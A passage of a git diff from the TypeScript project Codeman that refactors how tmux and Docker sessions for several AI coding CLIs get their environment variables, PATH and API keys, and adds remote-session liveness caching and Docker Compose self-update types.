arms. This whole chain is + // embedded in an outer `bash -c "…"`, so an unescaped `"` closes that string early, + // the rest is re-tokenized, and tmux fails to exec with a bare `execvp(3) failed`. + // A `grep -qx` pipeline reads the same answer using only the single-quoted form // every other line in this builder already uses. const start = adopted ? `${base} inspect -f ${shellescape('{{.State.Running}}')} ${name} 2>/dev/null | grep -qx true || { echo ${notRunningMsg}; exit 1; }` @@ -1478,11 +1169,18 @@ export function resolveDockerLaunchOptions( sessionId, instance: CODEMAN_INSTANCE, userArgs, - credentialMounts, - extraMounts, + credentialMounts: credentialMounts.map((mount) => ({ + ...mount, + src: resolveDockerDaemonMountSource(mount.src, home, process.env.CODEMAN_DOCKER_HOST_HOME), + })), + extraMounts: extraMounts.map((mount) => ({ + ...mount, + src: resolveDockerDaemonMountSource(mount.src, home, process.env.CODEMAN_DOCKER_HOST_HOME), + })), envCreate, addHostGateway: !isDesktop, gatewayAlias, + disableSwapLimit: process.env.CODEMAN_DOCKER_DISABLE_SWAP_LIMIT === '1', }; const execEnv: Record = { @@ -1498,12 +1196,7 @@ export function resolveDockerLaunchOptions( }; // NAME-ONLY exec env forwarded from Codeman's process env (the docker client // inherits it), so API-key CLIs get their key without it appearing in argv. - const execEnvNames = - mode === 'codex' - ? ['OPENAI_API_KEY', 'CODEX_API_KEY'] - : mode === 'gemini' - ? ['GEMINI_API_KEY', 'GOOGLE_API_KEY'] - : []; + const execEnvNames = getCli(mode)?.env.dockerExecEnvNames ?? []; return { mode, docker, sessionId, resumeSessionId, createContext, execEnv, execEnvNames, seedCopies }; } @@ -1559,89 +1252,89 @@ function buildRemoteSessionCommand(options: { } /** - * Set sensitive environment variables on a tmux session via setenv. - * These are inherited by panes but not visible in ps output or tmux history. + * Push one environment variable into a tmux session with `setenv`. + * + * ⚠️ `setenv` rather than the spawn command line is the whole point: a value set this way is + * inherited by panes but never appears in `ps` output or tmux history, so an API key cannot + * be read by every other process on the box. Nothing that carries a secret may move to the + * command line. + * + * A failure is deliberately swallowed — a key the CLI does not need is not an error, and a + * CLI that does need it will say so far more usefully than a spawn failure here would. */ -function setOpenCodeEnvVars(tmuxCmd: string, muxName: string): void { - const sensitiveVars = ['ANTHROPIC_API_KEY', 'OPENAI_API_KEY', 'GOOGLE_API_KEY']; - for (const key of sensitiveVars) { - const val = process.env[key]; - if (val) { - // Shell-escape: wrap in single quotes, escape any inner single quotes - const escaped = val.replace(/'/g, "'\\''"); - try { - execSync(`${tmuxCmd} setenv -t '${muxName}' ${key} '${escaped}'`, { - encoding: 'utf8', - timeout: EXEC_TIMEOUT_MS, - stdio: ['pipe', 'pipe', 'pipe'], - }); - } catch { - /* Non-critical — key may not be needed */ - } - } +function setTmuxEnvVar(tmuxCmd: string, muxName: string, key: string, value: string): void { + // Shell-escape: wrap in single quotes, escape any inner single quotes. + const escaped = value.replace(/'/g, "'\\''"); + try { + execSync(`${tmuxCmd} setenv -t '${muxName}' ${key} '${escaped}'`, { + encoding: 'utf8', + timeout: EXEC_TIMEOUT_MS, + stdio: ['pipe', 'pipe', 'pipe'], + }); + } catch { + /* Non-critical — key may not be needed */ } } /** - * Set sensitive environment variables for Codex on a tmux session via setenv. - * Codex (OpenAI CLI) needs OPENAI_API_KEY; we also forward CODEX_* keys. + * Forward this CLI's declared sensitive env vars from the SERVER's own environment into the + * tmux session. Names come from `env.tmuxSetenvKeys`; values are never in config. + * + * Was three near-identical per-CLI functions whose only difference was the key list. */ -function setCodexEnvVars(tmuxCmd: string, muxName: string): void { - const sensitiveVars = ['OPENAI_API_KEY', 'CODEX_API_KEY', 'CODEX_HOME']; - for (const key of sensitiveVars) { +function setCliSensitiveEnvVars(tmuxCmd: string, muxName: string, keys: readonly string[]): void { + for (const key of keys) { const val = process.env[key]; - if (val) { - const escaped = val.replace(/'/g, "'\\''"); - try { - execSync(`${tmuxCmd} setenv -t '${muxName}' ${key} '${escaped}'`, { - encoding: 'utf8', - timeout: EXEC_TIMEOUT_MS, - stdio: ['pipe', 'pipe', 'pipe'], - }); - } catch { - /* Non-critical — key may not be needed */ - } - } + if (val) setTmuxEnvVar(tmuxCmd, muxName, key, val); } } /** - * Set sensitive environment variables for Gemini on a tmux session via setenv. - * Gemini Pro/Ultra users usually authenticate via cached Google login; these - * variables cover API-key and Vertex AI paths without putting secrets in ps. + * Implementations of the named profiles a CLI may select via `env.setenvProfile` — the escape + * hatch for setup that genuinely needs to RUN CODE rather than name a list of env keys. + * + * Keyed by PROFILE NAME, never by CLI id: a second launcher-style CLI adds an entry here and + * names it from its registry entry, and nothing else in this file learns about it. The names + * themselves are declared (and schema-validated at load) in `config/cli-registry/profiles.ts`. + * + * Returns the env vars to set; the caller does the actual `tmux setenv` calls. */ -function setGeminiEnvVars(tmuxCmd: string, muxName: string): void { - const sensitiveVars = [ - 'GEMINI_API_KEY', - 'GEMINI_MODEL', - 'GOOGLE_API_KEY', - 'GOOGLE_CLOUD_PROJECT', - 'GOOGLE_CLOUD_LOCATION', - 'GOOGLE_APPLICATION_CREDENTIALS', - 'GOOGLE_GENAI_USE_VERTEXAI', - ]; - for (const key of sensitiveVars) { - const val = process.env[key]; - if (val) { - const escaped = val.replace(/'/g, "'\\''"); - try { - execSync(`${tmuxCmd} setenv -t '${muxName}' ${key} '${escaped}'`, { - encoding: 'utf8', - timeout: EXEC_TIMEOUT_MS, - stdio: ['pipe', 'pipe', 'pipe'], - }); - } catch { - /* Non-critical — key may not be needed */ - } - } - } -} +const SETENV_PROFILES: Record< + string, + (sessionId: string, entry: CliEntry, rawConfig?: Record) => Record +> = { + /** + * DeepSeek's Herdr-compatible status bridge. + * + * Pointing `HERDR_BIN_PATH` at our own generated shim is what upgrades this mode from + * output-stabilization guessing to DEFINITIVE idle/working/blocked events (see + * deepseek-status-shim.ts). The pane id IS the Codeman session id, which is how the shim + * attributes a report without trusting anything the agent could influence. + * + * Needs a profile rather than key names because it writes an executable to disk and then + * exports that file's path — neither a name list nor a config value could express it. + */ + 'deepseek-status-bridge': (sessionId, entry, rawConfig) => { + // Opt-OUT, not opt-in: an absent flag means the bridge is armed, so a caller who says + // nothing gets the better signals. Only an explicit `false` disarms it, which is exactly + // what `hooksAvailableForMode()` reads to decide whether `stop` can ever fire. + const field = entry.launch.legacyConfigAliases?.statusReporting ?? 'statusReporting'; + if (rawConfig?.[field] === false) return {}; + const shim = ensureDeepSeekStatusShim(); + if (!shim) return {}; + const vars: Record = { HERDR_ENV: '1', HERDR_BIN_PATH: shim, HERDR_PANE_ID: sessionId }; + return vars; + }, +}; /** - * Set OPENCODE_CONFIG_CONTENT on a tmux session via setenv. - * Uses tmux setenv to avoid shell metacharacter injection from user-supplied JSON. + * Set a CLI's JSON config-content env var on a tmux session via setenv. + * + * The var NAME comes from `env.configContentVar` rather than being hardcoded, so this is not + * an opencode special case — but opencode is its only user today. `setenv` (rather than the + * command line) is what keeps user-supplied JSON away from shell metacharacter parsing. */ -function setOpenCodeConfigContent(tmuxCmd: string, muxName: string, config?: OpenCodeConfig): void { +function setCliConfigContent(tmuxCmd: string, muxName: string, varName: string, config?: OpenCodeConfig): void { if (!config) return; let jsonContent: string | undefined; @@ -1669,18 +1362,7 @@ function setOpenCodeConfigContent(tmuxCmd: string, muxName: string, config?: Ope } } - if (jsonContent) { - const escaped = jsonContent.replace(/'/g, "'\\''"); - try { - execSync(`${tmuxCmd} setenv -t '${muxName}' OPENCODE_CONFIG_CONTENT '${escaped}'`, { - encoding: 'utf8', - timeout: EXEC_TIMEOUT_MS, - stdio: ['pipe', 'pipe', 'pipe'], - }); - } catch { - /* Non-critical */ - } - } + if (jsonContent) setTmuxEnvVar(tmuxCmd, muxName, varName, jsonContent); } /** @@ -1721,6 +1403,25 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer { * torn down (killed/detached/stopping). A guarded session is NEVER revived. */ private reconnectGuard: Set = new Set(); + /** + * Cached result of the remote tmux `has-session` probe (sessionId → alive). + * `true` = the durable remote tmux session exists (transport drop → reconnect + * is safe); `false` = remote session gone (agent exited cleanly → do NOT + * reconnect); `undefined` = not yet probed / probe failed. Only sessions + * whose pane is otherwise dead+eligible get probed, so a clean exit tears + * down the remote tmux and the probe reports false — killing the auto-revive + * (found live 2026-08-29: remote omp/opencode ctrl-c/ctrl-d auto-respawned + * fresh agents because the watcher couldn't tell a clean exit from a + * transport drop). + */ + private remoteAliveCache: Map = new Map(); + /** + * Sessions with a `has-session` probe currently in flight. The probe is a + * fire-and-forget ssh round-trip with a 15s timeout against a 5s tick, so + * without this an unreachable host would accumulate three overlapping ssh + * processes per dead session. + */ + private remoteAliveInFlight: Set = new Set(); private trueColorConfigured = false; /** tmux 3.7+ can resize pane history after creation; older releases cannot. */ @@ -1849,31 +1550,36 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer { * command line (visible in `ps`). This also sidesteps shell-metachar injection via keys. */ private buildEnvExports(sessionId: string, muxName: string, mode: SessionMode): string[] { - const exports = [ + const entry = getCli(mode); + + // Per-CLI colour/identity vars, straight from the entry. `unset` before `export` is + // arbitrary: these are independent bash statements joined by ` && `, so nothing here + // depends on another's value and the order carries no semantics. + const cliEnv: string[] = []; + for (const name of entry?.env.unset ?? []) cliEnv.push(`unset ${name}`); + for (const item of entry?.env.exports ?? []) { + // Values are either literals validated against the shell-token pattern at load, or an + // engine value produced here — never free text from config. + const value = + typeof item.value === 'string' + ? item.value + : item.value.engine === 'codemanPrefixedSessionId' + ? `codeman_${sessionId}` + : item.value.engine === 'sessionId' + ? sessionId + : item.value.engine === 'muxName' + ? muxName + : undefined; + // A CLI stamping a per-pane originator (codex) is what lets the response viewer find + // THIS pane's rollout exactly; without it, rollouts are matched by cwd+mtime and two + // panes in the same directory bleed into each other. + if (value !== undefined) cliEnv.push(`export ${item.name}=${value}`); + } + + return [ 'export LANG=en_US.UTF-8', 'export LC_ALL=en_US.UTF-8', - mode === 'codex' || - mode === 'gemini' || - mode === 'antigravity' || - mode === 'pi' || - mode === 'grok' || - mode === 'deepseek' - ? 'export COLORTERM=truecolor' - : 'unset COLORTERM', - ...(mode === 'codex' || - mode === 'gemini' || - mode === 'antigravity' || - mode === 'pi' || - mode === 'grok' || - mode === 'deepseek' - ? ['unset NO_COLOR'] - : []), - // Stamp each Codex pane with a unique originator so the response-viewer - // can locate THIS pane's rollout exactly — codex writes the value into - // session_meta.originator of every rollout it creates. Without it, - // rollouts are matched by cwd+mtime and two panes in the same directory - // bleed into each other. - ...(mode === 'codex' ? [`export CODEX_INTERNAL_ORIGINATOR_OVERRIDE=codeman_${sessionId}`] : []), + ...cliEnv, 'export CODEMAN_MUX=1', `export CODEMAN_SESSION_ID=${sessionId}`, `export CODEMAN_MUX_NAME=${muxName}`, @@ -1886,9 +1592,6 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer { // execution time, so the COD-54 hook secret stays off the command line. `export CODEMAN_HOOK_SECRET_FILE="${dataPath('hook-secret')}"`, ]; - // Only unset CLAUDECODE for Claude sessions - if (mode === 'claude') exports.splice(2, 0, 'unset CLAUDECODE'); - return exports; } /** @@ -1938,123 +1641,65 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer { * In createSession(), a missing binary dir throws — the caller handles that separately. */ private buildPathExport(mode: SessionMode): { pathExport: string; dir: string | null } { - if (mode === 'claude') { - const dir = findClaudeDir(); - return { pathExport: dir ? `export PATH="${dir}:$PATH" && ` : '', dir }; - } - if (mode === 'opencode') { - const dir = resolveOpenCodeDir(); - return { pathExport: dir ? `export PATH="${dir}:$PATH" && ` : '', dir }; - } - if (mode === 'codex') { - const dir = resolveCodexDir(); - return { pathExport: dir ? `export PATH="${dir}:$PATH" && ` : '', dir }; - } - if (mode === 'gemini') { - const dir = resolveGeminiDir(); - return { pathExport: dir ? `export PATH="${dir}:$PATH" && ` : '', dir }; - } - if (mode === 'antigravity') { - const dir = resolveAntigravityDir(); - return { pathExport: dir ? `export PATH="${dir}:$PATH" && ` : '', dir }; - } - if (mode === 'pi') { - const dir = resolvePiDir(); - return { pathExport: dir ? `export PATH="${dir}:$PATH" && ` : '', dir }; - } - if (mode === 'grok') { - const dir = resolveGrokDir(); - return { pathExport: dir ? `export PATH="${dir}:$PATH" && ` : '', dir }; - } - if (mode === 'deepseek') { - const dir = resolveDeepSeekDir(); - return { pathExport: dir ? `export PATH="${dir}:$PATH" && ` : '', dir }; - } - return { pathExport: '', dir: null }; + // Prepending the resolved bin dir is what makes a CLI installed somewhere the server's + // own PATH does not cover (nvm, Homebrew, ~/.local/bin under a systemd unit) reachable + // from inside the pane. `shell` and any unregistered mode resolve to null and get + // nothing prepended. + const dir = resolveCliBinDir(mode); + return { pathExport: dir ? `export PATH="${dir}:$PATH" && ` : '', dir }; } /** - * Configure OpenCode-specific environment on a tmux session. - * Sets sensitive API keys and config content via tmux setenv - * (not visible in ps output or tmux history, inherited by panes). + * Configure this CLI's environment on a tmux session, entirely from registry data. + * + * Four independent pieces, all via `tmux setenv` so they are inherited by the pane without + * ever appearing in `ps`: + * + * 1. `env.tmuxSetenvKeys` — sensitive vars forwarded from the SERVER's own environment + * (API keys, CLI home dirs). Names only ever live in config; values never do. + * 2. `env.configSetenv` — vars whose value comes from the caller's config rather than the + * server env. DeepSeek's `DSH_PERMISSION_MODE` is the case this exists for: its + * permission switch is an env var, not a flag. Routing it through a declared launch + * param is what lets the ordinary multi-user clamp reach it. + * 3. `env.configContentVar` — a JSON config blob (opencode). + * 4. `env.setenvProfile` — genuinely code-shaped setup. DeepSeek's status bridge writes an + * executable shim to disk and exports its path plus this session's pane id, which is + * what upgrades that mode from output-stabilization guessing to definitive hook events. + * + * Called UNCONDITIONALLY for every mode: an entry with no keys, no config var and no + * profile does nothing here, which is a better shape than four `if (mode === ...)` guards + * that each had to be remembered at two separate call sites. */ - private _configureOpenCode(muxName: string, openCodeConfig?: OpenCodeConfig): void { + private _configureCliEnv( + muxName: string, + sessionId: string, + mode: SessionMode, + rawConfig?: Record + ): void { + const entry = getCli(mode); + if (!entry) return; const tmuxCmd = this.tmux(); - setOpenCodeEnvVars(tmuxCmd, muxName); - setOpenCodeConfigContent(tmuxCmd, muxName, openCodeConfig); - } - /** - * Configure Codex-specific environment on a tmux session. - * Sets OPENAI_API_KEY (and related keys) via tmux setenv so secrets don't - * appear in the bash command line. - */ - private _configureCodex(muxName: string): void { - setCodexEnvVars(this.tmux(), muxName); - } + setCliSensitiveEnvVars(tmuxCmd, muxName, entry.env.tmuxSetenvKeys); - /** - * Configure Gemini-specific environment on a tmux session. - */ - private _configureGemini(muxName: string): void { - setGeminiEnvVars(this.tmux(), muxName); - } - - /** - * Configure DeepSeek Harness environment on a tmux session. - * - * Two independent things, both via `tmux setenv` so they are inherited by the - * pane without appearing in `ps`: - * - * 1. `DSH_PERMISSION_MODE` — the harness's only permission input. Exported - * ONLY when the caller sent one, so an absent config lands on the harness's - * own `workspace-write` default (which asks) rather than on ours. That - * "only if sent" shape is what the multi-user clamp relies on. - * 2. The `HERDR_*` triple — the supervisor contract the terminal front door - * uses to report idle/working/blocked. Pointing `HERDR_BIN_PATH` at our own - * generated shim is what upgrades this mode from output-stabilization - * guessing to definitive hook events (see deepseek-status-shim.ts). The - * pane id IS the Codeman session id, which is how the shim attributes a - * report without trusting anything the agent could influence. - * - * Also forwards DEEPSEEK_API_KEY / DEEPSEEK_BASE_URL from the server env when - * present, matching the codex/gemini precedent for headless auth. - */ - private _configureDeepSeek(muxName: string, sessionId: string, config?: DeepSeekConfig): void { - const tmuxCmd = this.tmux(); - const setenv = (key: string, value: string): void => { - const escaped = value.replace(/'/g, "'\\''"); - try { - execSync(`${tmuxCmd} setenv -t '${muxName}' ${key} '${escaped}'`, { - encoding: 'utf8', - timeout: EXEC_TIMEOUT_MS, - stdio: ['pipe', 'pipe', 'pipe'], - }); - } catch { - /* Non-critical */ - } - }; - - for (const key of ['DEEPSEEK_API_KEY', 'DEEPSEEK_BASE_URL', 'DSH_HOME']) { - const val = process.env[key]; - if (val) setenv(key, val); + for (const [key, value] of Object.entries(configSetenvValues(entry, rawConfig))) { + setTmuxEnvVar(tmuxCmd, muxName, key, value); } - // Enum-validated at the schema boundary; re-checked here because this value - // reaches a shell line, and a builder must never trust its caller. - if ( - config?.permissionMode && - ['read-only', 'workspace-write', 'danger-full-access'].includes(config.permissionMode) - ) { - setenv('DSH_PERMISSION_MODE', config.permissionMode); + if (entry.env.configContentVar) { + setCliConfigContent(tmuxCmd, muxName, entry.env.configContentVar, rawConfig as OpenCodeConfig | undefined); } - if (config?.statusReporting !== false) { - const shim = ensureDeepSeekStatusShim(); - if (shim) { - setenv('HERDR_ENV', '1'); - setenv('HERDR_BIN_PATH', shim); - setenv('HERDR_PANE_ID', sessionId); + const profileName = entry.env.setenvProfile; + if (profileName) { + const profile = SETENV_PROFILES[profileName]; + // A name the schema accepted but this build does not implement: skip rather than + // throw. Losing a status bridge degrades signal quality; failing here would refuse + // the session outright. + if (profile) { + for (const [key, value] of Object.entries(profile(sessionId, entry, rawConfig))) { + setTmuxEnvVar(tmuxCmd, muxName, key, value); + } } } } @@ -2080,6 +1725,7 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer { piConfig, grokConfig, deepSeekConfig, + ompConfig, resumeSessionId, envOverrides, effort, @@ -2121,38 +1767,22 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer { // from the resolvers (formatCliNotFoundMessage) so the error names WHERE it // looked — server PATH, login shell, checked directories — instead of just // asserting the CLI is missing (the classic systemd/launchd PATH trap). - // - // ⚠️ A DOCKER session runs its CLI INSIDE the container, so the host does not - // need it at all. Demanding it here threw for a host without the binary, the - // catch fell back to a direct PTY, and that PTY tried to exec the CLI on the - // HOST — surfacing as a bare `execvp(3) failed: No such file or directory` - // with nothing pointing at the real cause. The container's own CLIs are - // verified by the adoption preflight / image gate before launch instead. const { pathExport, dir: cliDir } = this.buildPathExport(mode); + // Refuse the spawn rather than launching a pane that dies on `command not found`. + // `missingCliMessage()` returns null for a mode with no binary to find (`shell`), and + // carries bounded PATH/login-shell/search-dir diagnostics so the error says where we + // actually looked. + // + // ⚠️ Skipped entirely for a DOCKER session: the CLI runs INSIDE the container, so the + // host does not need it at all. Demanding it here threw for a host without the binary, + // the catch fell back to a direct PTY, and that PTY tried to exec the CLI on the HOST — + // surfacing as a bare `execvp(3) failed: No such file or directory` with nothing + // pointing at the real cause. The container's own CLIs are verified by the adoption + // preflight / image gate before launch instead. const cliRunsInContainer = !!docker; - if (!cliRunsInContainer && mode === 'claude' && !cliDir) { - throw new Error(getClaudeNotFoundMessage()); - } - if (!cliRunsInContainer && mode === 'opencode' && !cliDir) { - throw new Error(getOpenCodeNotFoundMessage()); - } - if (!cliRunsInContainer && mode === 'codex' && !cliDir) { - throw new Error(getCodexNotFoundMessage()); - } - if (!cliRunsInContainer && mode === 'gemini' && !cliDir) { - throw new Error(getGeminiNotFoundMessage()); - } - if (!cliRunsInContainer && mode === 'antigravity' && !cliDir) { - throw new Error(getAntigravityNotFoundMessage()); - } - if (!cliRunsInContainer && mode === 'pi' && !cliDir) { - throw new Error(getPiNotFoundMessage()); - } - if (!cliRunsInContainer && mode === 'deepseek' && !cliDir) { - throw new Error(getDeepSeekNotFoundMessage()); - } - if (!cliRunsInContainer && mode === 'grok' && !cliDir) { - throw new Error(getGrokNotFoundMessage()); + if (!cliRunsInContainer && !cliDir) { + const message = missingCliMessage(mode); + if (message) throw new Error(message); } const envExportsStr = this.buildEnvExports(sessionId, muxName, mode).join(' && '); @@ -2170,6 +1800,7 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer { piConfig, grokConfig, deepSeekConfig, + ompConfig, resumeSessionId, effort, sessionName: name, @@ -2189,7 +1820,6 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer { // Create tmux session in three steps to handle cold-start (no server running) // and avoid the race where the command exits before remain-on-exit is set: - // 1. Create session with default shell (starts tmux server, stays alive) // 2. Set remain-on-exit (server now exists, session won't vanish on exit) // 3. Replace shell with actual command via respawn-pane (no terminal echo) // Unset $TMUX so nested sessions work when the dev server itself runs inside tmux. @@ -2227,21 +1857,14 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer { /* Non-critical */ } - // For OpenCode: set sensitive env vars and config via tmux setenv - // (not visible in ps output or tmux history, inherited by panes) - if (mode === 'opencode') { - this._configureOpenCode(muxName, openCodeConfig); - } else if (mode === 'codex') { - this._configureCodex(muxName); - } - // For Gemini: set Gemini/Google auth env vars via tmux setenv - if (mode === 'gemini') { - this._configureGemini(muxName); - } - // For DeepSeek: permission mode + the Herdr-compatible status bridge. - if (mode === 'deepseek') { - this._configureDeepSeek(muxName, sessionId, deepSeekConfig); - } + // Per-CLI env: API keys, config blobs, config-sourced vars, status bridges. All of + // it is registry data, so this is one unconditional call rather than a per-mode ladder. + this._configureCliEnv( + muxName, + sessionId, + mode, + legacyConfigForMode(mode, options as unknown as Record) + ); // Apply user-supplied env overrides (e.g., CLAUDE_CODE_EFFORT_LEVEL) via tmux setenv // so secret values stay off the bash command line. Must run before respawn-pane. @@ -2400,6 +2023,7 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer { piConfig, grokConfig, deepSeekConfig, + ompConfig, resumeSessionId, envOverrides, effort, @@ -2431,6 +2055,7 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer { piConfig, grokConfig, deepSeekConfig, + ompConfig, resumeSessionId, effort, sessionName: name, @@ -2445,20 +2070,13 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer { : localFullCmd; try { - // For OpenCode: set sensitive env vars via tmux setenv before respawn - if (mode === 'opencode') { - this._configureOpenCode(muxName, openCodeConfig); - } else if (mode === 'codex') { - this._configureCodex(muxName); - } - // For Gemini: set Gemini/Google auth env vars via tmux setenv before respawn - if (mode === 'gemini') { - this._configureGemini(muxName); - } - // For DeepSeek: permission mode + the Herdr-compatible status bridge. - if (mode === 'deepseek') { - this._configureDeepSeek(muxName, sessionId, deepSeekConfig); - } + // Same per-CLI env setup as createSession, re-applied so the respawned pane inherits it. + this._configureCliEnv( + muxName, + sessionId, + mode, + legacyConfigForMode(mode, options as unknown as Record) + ); // Re-apply user env overrides before respawn so the new shell inherits them. this.applyEnvOverrides(muxName, envOverrides); @@ -3166,16 +2784,56 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer { * applies the pure {@link decideReconnect} decision and translates the result * into events + backoff/state transitions. Public for tests + the watcher. */ + /** + * Refresh the cached remote-tmux liveness for a session whose pane is dead. + * Fire-and-forget (async, not awaited by the sync tick): the probe is a slow + * ssh round-trip, so it must not block the 5s watcher interval. On success it + * writes the cached result; the NEXT tick then makes the revive decision with + * fresh data. A clean exit makes the remote tmux session vanish, so the probe + * resolves false and the watcher stops reviving it (2026-08-29). + */ + private async refreshRemoteAlive(session: MuxSession): Promise { + if (!session.remote) return; + if (this.remoteAliveInFlight.has(session.sessionId)) return; + this.remoteAliveInFlight.add(session.sessionId); + const remoteName = session.remote.remoteSessionName || remoteTmuxSessionName(session.sessionId); + try { + const alive = await remoteTmuxSessionAlive(session.remote, remoteName); + this.remoteAliveCache.set(session.sessionId, alive); + } catch { + this.remoteAliveCache.set(session.sessionId, undefined); + } finally { + this.remoteAliveInFlight.delete(session.sessionId); + } + } + runRemoteReconnectTick(now: number, enabled: boolean): void { for (const session of this.sessions.values()) { if (!session.remote) continue; const sessionId = session.sessionId; const state = this.reconnectState.get(sessionId); + // Only probe when the pane is actually dead — otherwise the ssh round-trip + // would run every 5s for every healthy remote session. The cache is + // refreshed lazily so a clean exit (remote tmux gone) flips it to false + // on the next tick and stops the auto-revive. + const paneDead = this.isPaneDead(session.muxName); + if (!paneDead) { + // A live pane makes whatever the probe last said STALE, so forget it: + // after a successful reattach (or a manual restart) the next dead pane + // must be probed afresh. A cached `true` from the transport drop would + // otherwise revive a later CLEAN exit, the exact bug this cache exists + // to prevent, and a cached `false` from a clean exit would leave a + // manually restarted session with auto-reconnect permanently off. + this.remoteAliveCache.delete(sessionId); + } else if (this.remoteAliveCache.get(sessionId) === undefined) { + void this.refreshRemoteAlive(session); + } const action = decideReconnect({ session: { sessionId, isRemote: true, - paneDead: this.isPaneDead(session.muxName), + paneDead, + remoteAlive: this.remoteAliveCache.get(sessionId), }, state, guarded: this.reconnectGuard.has(sessionId), @@ -3223,12 +2881,16 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer { guardRemoteReconnect(sessionId: string): void { this.reconnectGuard.add(sessionId); this.reconnectState.delete(sessionId); + this.remoteAliveCache.delete(sessionId); + this.remoteAliveInFlight.delete(sessionId); } /** Clear all per-session reconnect + guard state (e.g. when a session is removed). */ clearRemoteReconnectState(sessionId: string): void { this.reconnectState.delete(sessionId); this.reconnectGuard.delete(sessionId); + this.remoteAliveCache.delete(sessionId); + this.remoteAliveInFlight.delete(sessionId); } destroy(): void { @@ -3237,6 +2899,8 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer { this.stopRemoteReconnectWatcher(); this.reconnectState.clear(); this.reconnectGuard.clear(); + this.remoteAliveCache.clear(); + this.remoteAliveInFlight.clear(); } registerSession(session: MuxSession): void { diff --git a/src/types/session.ts b/src/types/session.ts index 39910bfc..79ccb0db 100644 --- a/src/types/session.ts +++ b/src/types/session.ts @@ -8,7 +8,7 @@ * - SessionConfig — creation-time config (id, workingDir, createdAt) * - SessionOutput — captured stdout/stderr/exitCode * - SessionStatus — 'idle' | 'busy' | 'stopped' | 'error' - * - SessionMode — 'claude' | 'shell' | 'opencode' | 'codex' | 'gemini' | 'antigravity' | 'pi' | 'grok' | 'deepseek' (which CLI backend) + * - SessionMode — 'claude' | 'shell' | 'opencode' | 'codex' | 'gemini' | 'antigravity' | 'pi' | 'grok' | 'deepseek' | 'omp' (which CLI backend) * - ClaudeMode — CLI permission mode ('dangerously-skip-permissions' | 'auto' | 'normal' | 'allowedTools') * - SessionColor — visual differentiation color * - OpenCodeConfig — OpenCode-specific settings (model, autoAllowTools, continueSession) @@ -55,11 +55,12 @@ export type SessionMode = | 'antigravity' | 'pi' | 'grok' - | 'deepseek'; + | 'deepseek' + | 'omp'; export type RemoteCommandMode = Extract< SessionMode, - 'shell' | 'claude' | 'opencode' | 'codex' | 'gemini' | 'antigravity' | 'pi' | 'grok' | 'deepseek' + 'shell' | 'claude' | 'opencode' | 'codex' | 'gemini' | 'antigravity' | 'pi' | 'grok' | 'deepseek' | 'omp' >; /** @@ -168,7 +169,7 @@ export interface RemoteSessionInfo { /** Which CLI backends a Docker case can run (same set as remote). */ export type DockerCommandMode = Extract< SessionMode, - 'shell' | 'claude' | 'opencode' | 'codex' | 'gemini' | 'antigravity' | 'pi' | 'grok' | 'deepseek' + 'shell' | 'claude' | 'opencode' | 'codex' | 'gemini' | 'antigravity' | 'pi' | 'grok' | 'deepseek' | 'omp' >; /** Container engine. Docker and Podman differ in the uid/userns + host-gateway alias. */ @@ -383,6 +384,16 @@ export interface AntigravityConfig { resumeConversationId?: string; } +/** OMP CLI session configuration */ +export interface OmpConfig { + /** Model identifier (e.g., "crof/glm-5.2"). Passed via --model. */ + model?: string; + /** Resume a previous conversation (passed via --resume). */ + resumeSessionId?: string; + /** Continue the most recent session in this directory (passed via --continue). */ + continueSession?: boolean; +} + /** * Pi CLI (pi.dev) session configuration. * @@ -660,6 +671,8 @@ export interface SessionState { grokConfig?: GrokConfig; /** DeepSeek Harness configuration (only for mode === 'deepseek') */ deepSeekConfig?: DeepSeekConfig; + /** OMP-specific configuration (only for mode === 'omp') */ + ompConfig?: OmpConfig; /** Claude conversation session ID to resume after reboot (set by restore script) */ resumeSessionId?: string; /** Claude CLI effort level (soft default via --settings, switchable in-session via /effort) */ diff --git a/src/types/update.ts b/src/types/update.ts index b8751257..696d2cdf 100644 --- a/src/types/update.ts +++ b/src/types/update.ts @@ -7,6 +7,10 @@ * (see `dataPath('update-status.json')`) that the browser polls across the * restart boundary. * + * The Docker Compose deployment updates in place too (same script, same status + * file) — see `docs/docker-self-update.md` for how the container restarts itself + * and what the environment gate refuses. + * * Backend logic: `src/web/self-update.ts`. Routes: `src/web/routes/system-routes.ts` * (`/api/system/update/check`, `POST /api/system/update`, `/api/system/update/status`). * @@ -17,11 +21,56 @@ * Which init system supervises the running server (decides how we restart it). * `launchd-daemon` = a KeepAlive system-level LaunchDaemon (headless Macs, no GUI * login): restart works by killing the server and letting launchd respawn it. + * `docker-compose` = the Compose deployment (`docker/docker-compose.yaml`): the + * "restart" is the server exiting so the container's `restart: unless-stopped` + * policy relaunches it on the freshly built `dist/`. */ -export type SupervisorKind = 'systemd' | 'launchd' | 'launchd-daemon' | 'none'; +export type SupervisorKind = 'systemd' | 'launchd' | 'launchd-daemon' | 'docker-compose' | 'none'; -/** How Codeman was installed — only `git` installs can self-update in place. */ -export type InstallKind = 'git' | 'npm' | 'unknown'; +/** + * How Codeman was installed. `git` and `docker-compose` can self-update in + * place; `docker-compose` is a git checkout bind-mounted into the container, so + * the pull/build happen on the host filesystem and survive container recreation. + */ +export type InstallKind = 'git' | 'docker-compose' | 'npm' | 'unknown'; + +/** + * Why an in-place container update is refused. Each is derived mechanically from + * the target release's own files — nothing here depends on a human remembering + * to declare something at release time. + * + * - `dockerfile-changed` / `compose-changed`: the release changes the ENVIRONMENT, + * which a self-restart cannot apply (a restart reuses the existing container's + * image and config). Needs a rebuild + recreate from the host. + * - `env-keys-missing`: the release's `docker/.env.example` gained keys the user's + * `docker/.env` has no value for. Compose interpolates an unset `${VAR}` to the + * EMPTY STRING and starts anyway, so without this check a new required setting + * arrives as a silently blank env var. + * - `no-auto-restart`: the container's restart policy would not bring it back + * after the server exits, so applying the update would take Codeman 